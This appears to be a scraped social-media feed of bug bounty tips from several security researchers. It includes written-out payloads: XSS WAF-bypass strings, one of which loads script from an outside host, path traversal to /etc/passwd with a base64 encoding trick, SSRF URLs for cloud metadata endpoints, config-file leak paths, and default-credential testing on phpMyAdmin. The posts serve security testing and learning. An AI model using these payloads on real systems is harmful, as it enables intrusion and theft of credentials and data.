cmx @Clim4xog

Joined February 2022

Tweets

80
Followers

43
Following

930
Likes

4

Het Mehta @hetmehtaa

3 months ago

Top 8 MCP servers for cybersecurity: 1. Wiz MCP Server — cloud security 🔗 lnkd.in/gqYNzzRZ 2. Cloudflare MCP Server — Infrastructure and security 🔗 lnkd.in/gRNY5pkZ 3. PortSwigger MCP Server — Webapp security testing 🔗 lnkd.in/gcD83ftM 4. GitHub MCP…

3 182 648 30K 721

Sina @_SecurityAttack

8 months ago

Race Condition + Host Header Injection + Redis(Cache)= Zero Click XSS The first attempts were not successful and the reflect was not observed, but using the RACE, I saw that my sampler is displayed for the rest of the users 🫥 I will publish it after permission. #BugBounty

8 39 412 24K 223

Download Video

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

10 months ago

🚀 Sensitive data leakage using .json Here’s a tip to achieve sensitive data leak using .json extension. Notice the added .json extension in our request which resulted in obtaining the secret token! #bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec…

1 28 179 7K 99

Download Image

HackGit @hack_git

2 years ago

Nuclei Bug Hunter I will upload more #nuclei templates that help bug bounty Hunters. github.com/ayadim/Nuclei-… #infosec #pentesting #bugbounty

0 49 157 12K 80

Download Image

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

a year ago

How i am hunting for phpmyadmin logins:- nuclei -l live-subs.txt -t nuclei-templates/http/exposed-panels/phpmyadmin-panel.yaml ## Then :- - Test for default creds : root & password,..etc - Fuzzing - Test SQLi - Response Manipulation #bugbountytips #cybersecurity #Security…

0 47 182 16K 144

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

2 years ago

#BugBountytip #BugBountytips i found phpmyadmin template on nuclei phpmyadmin-setup.yaml next step edit that template for /admin/ template endpoint was [/pma/setup/index.php] i found 2 on [/admin/pma/setup/index.php] happy hunting ♥ #BugBounty

24 123 642 57K 221

Download Image

Ravindra Lakhara 🇮🇳 @RootxRavi

2 years ago

Easy P1 😀 #bugbountytips #bugbounty Endpoint /elmah /ELMAH or you can use the below Template to find out the issue github.com/projectdiscove…

6 55 255 19K 106

Download Image

JS0N Haddix @Jhaddix

2 years ago

Bug bounty hunters: want a #bugbountytip on finding the right public programs to participate in? 1️⃣ Look at some of the more successful bounty hunter's profiles (if they are public) 2️⃣ Scroll down to their most awarded or participated in. 3️⃣ Hack those. There's vulns there.

3 39 217 35K 73

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

a year ago

95% from hunters remove pics from endpoint my steps gathering all target endpoints filter the results just for pic extensions (cat endpoints.txt | egrep 'jpg|jpeg|png' > results.txt) filter to live send results for screenshot tool 1/2 #bugbountytips #bugbountytip #bugbounty

30 133 784 48K 547

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

3 years ago

url/?f=etc/passwd ==> 403 encode etc/passwd as base64 url/?f=L2V0Yy9wYXNzd2Q= ==> 200 #note you can use this trick in SQL , SSTI , XSS , LFI , Etc... #bugbountytips #bugbountytip

42 410 1K 85K 491

Download Image

Ali @111xNagashy

a year ago

Tip : 1-Site firstsub.exambe.com 2-Add first subdomain in first directory .sql.gz like firstsub.examble.com/firstsub.sql.gz Severity depending on content of files most of time is (Critical) #bugbountytip #bugbountytips #bugbounty #hackerone #bugcrowd #h1

1 52 307 11K 213

Download Image

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

a year ago

🚨 Bug Bounty hunting - Udemy Couse 🚨 Source : drive.google.com/drive/folders/… #bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

0 35 154 17K 170

Download Image

bugcrowd @Bugcrowd

2 years ago

If you had to choose 3 recon tools for your next bug hunt, what would they be?

36 21 175 38K 156

Brute Logic @BRuteLogic

2 years ago

#XSS WAF #Bypass Akamai JSi ';k='e'%0Atop['al'+k+'rt'](1)// CloudFlare HTMLi <Img Src=OnXSS OnError=alert(1)> Imperva HTMLi <Img Src=//X55.is OnLoad%0C=import(Src)> Don't learn to hack, #hack2learn. 😎 Developed for knoxss.me State of the art in XSS testing.

2 85 316 21K 192

RootMoksha Labs @RootMoksha

2 years ago

#XSS WAF #Bypass Akamai JSi ';k='e'%0Atop['al'+k+'rt'](1)// CloudFlare HTMLi <Img Src=OnXSS OnError=alert(1)> Imperva HTMLi <Img Src=//X55.is OnLoad%0C=import(Src)> By:@BRuteLogic #bugbountytips #bugbounty

0 44 168 7K 80

Godfather Orwa 🇯🇴 @GodfatherOrwa

2 years ago

that was very quick and amazing LFI .... filePath=../../../../../../../../../../../../../../windows/system32/drivers/etc/hosts #Bugbounty

25 193 955 76K 383

Download Image

Intigriti @intigriti

2 years ago

You did quick subdomain enumeration, filtered all live hosts Screenshotted every URL... and you came across this form 🧐️ What are you trying next? 🤔️

16 9 94 20K 41

Download Image

VAIDIK PANDYA @h4x0r_fr34k

2 years ago

Day 4/7 : SSRF Payload for Technologies: Oracle http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data http://192.0.0.192/latest/attributes/ Alibaba http://100.100.100.200/latest/meta-data/…

3 70 263 17K 210

Karim Habeeb @NoRed0x

2 years ago

If you find Web frameworks like Symfony, add '/app_dev.php/_profiler/open?file=app/config/parameters.yml' to the wordlist, and you may get juicy data. Enjoy!" #bugbountytips #bugbountytip #cybersecurity #ethicalhacking

4 93 376 23K 276

Download Image

RootDr @R00TDR

2 years ago

Tip for Stored XSS Bypass on Profile Uploader: +add magic number (jpg , jpeg) +bypass file extention Protection #BugBounty #BugBountytips #BugBountytip #Pentesting